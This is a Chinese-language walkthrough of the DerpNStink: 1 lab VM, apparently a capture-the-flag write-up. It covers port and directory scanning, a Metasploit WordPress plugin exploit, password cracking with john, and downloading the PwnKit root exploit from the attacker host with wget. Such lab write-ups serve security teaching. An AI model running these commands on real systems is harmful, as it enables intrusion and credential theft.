0x01 项目地址
DerpNStink: 1
0x02 靶机描述
Your goal is to remotely attack the VM and find all 4 flags eventually leading you to full root access. Don't forget to #tryharder
您的目标是远程攻击虚拟机并找到所有 4 个 flag ,最终让您获得完全 root 访问权限。别忘了 #更加努力
0x03 环境搭建
靶机 | DerpNStink: 1 | NAT模式 192.168.6.168 |
攻击机 | kali | NAT模式 192.168.6.128 |
0x04 详细步骤
1.主机发现
nmap -sP 192.168.6.0/24
2.端口扫描
nmap -p- -A -sV -Pn 192.168.6.168
开放了21/22/80三个端口
3.目录扫描
dirsearch -u 192.168.6.168
4.flag1
浏览器访问192.168.6.168
随便翻了翻,Curl+U
查看源码,发现第一个flag
flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166)
5.flag2
同时在源码中发现了一个信息
点击查看内容,大概意思是说需要更新本地hosts
文件才能访问博客
拼接访问刚才目录扫描扫到的目录/robots.txt
,这里边两个目录依次访问没有发现有用的信息
拼接访问/php/phpmyadmin/
,这是一个phpmyadmin
登录界面,尝试弱口令爆破,没有爆破成功
到此在80端口没有可利用的内容了,不过既然提示了要配置本地hosts
文件才能访问博客,那应该还有一个博客没有访问到,但是之前目录扫描并未扫描到,这里换种方式再次目录扫描一下
dirb http://192.168.6.168
这次扫到了
然后我们来访问一下
http://192.168.6.168/weblog/
这里发现自动跳转到了另一个地址http://derpnstink.local/weblog/
根据这个地址我们来配置一下本地hosts
文件,在hosts
文件中新增一条数据
192.168.6.168 derpnstink.local
再次访问http://192.168.6.168/weblog/
,翻了翻也没有什么可利用的点
拼接访问/weblog/wp-admin/
,又一个登录界面,尝试弱口令
admin
admin
登录成功了
因为是WordPress
站点,所以我们可以使用wpscan
扫描看看
wpscan --url http://derpnstink.local/weblog/
扫描到WordPress
版本是4.6.29
还有一个插件slideshow-gallery
打开MSF
搜索Slidehow Gallery
查看是否有可利用的模块
msfconsole
search Slidehow Gallery
确认有,开始利用
use 0
show options #显示配置参数
set rhosts 192.168.6.168 #靶机IP
set targeturi /weblog/ #靶机路径
set wp_user admin #设置账号
set wp_password admin #设置密码
run #运行
执行成功,输入shell
,成功getshell
shell
利用python将shell转变为交互式的shell
python -c 'import pty; pty.spawn("/bin/bash")'
然后寻找可利用的文件,在/var/www/html/weblog
下的wp-config.php
发现了数据库账号密码:root/mysql
cd /var/www/html/weblog
cat wp-config.php
然后在phpmyadmin
那个登录页面进行登录
http://192.168.6.168/php/phpmyadmin/
在 wordpress
数据库 -> wp_posts
表中发现 flag2.txt
flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)
6.flag3
继续查找线索,在 wordpress
数据库 -> wp_users
表中发现两个账户及密码
unclestinky:$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41
admin:$P$BgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/
密码是被编码过的,接下来我们来爆破一下这两个密码
先在桌面新建一个txt
文件存放账号密码
cd Desktop
vim user_pass.txt
然后在/usr/share/wordlists
解压字典并将其复制到桌面
cd /usr/share/wordlists
gunzip rockyou.txt.gz
cp rockyou.txt /home/kali/Desktop
cd /home/kali/Desktop
然后用john
爆破密码
john --wordlist=rockyou.txt user_pass.txt
爆破成功
unclestinky:wedgie57
admin:admin
在靶机home
目录下发现两个用户,mrderp/stinky
cd /home
ls
尝试切换到stinky
用户,密码使用刚刚破解得到的wedgie57
,成功登录,并在/stinky/Desktop
目录下找到flag.txt
su stinky
password:wedgie57
ls
cd stinky
ls
cd Desktop
ls
cat flag.txt
flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)
7.flag4
权限提升
从github
中找到了对应版本的提权脚本,我们将其下载并放到kali
桌面
GitHub - arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)
开启kali
的http
服务,将脚本复制到网站根目录下
service apache2 restart
cp cve-2021-4034-poc.c /var/www/html
利用kali
的http
服务,将脚本下载到靶机,给到其执行权限,将其编译
wget http://192.168.6.128/cve-2021-4034-poc.c
chmod +x cve-2021-4034-poc.c
gcc -pthread cve-2021-4034-poc.c -o cve-2021-4034-poc -lcrypt
完成后执行脚本,就拿到了root
权限
./cve-2021-4034-poc
最后在/root/Desktop
目录下找到了最后一个flag
cd /root/Desktop
ls
cat flag.txt
flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)
至此四个flag
以及root
权限全部完成!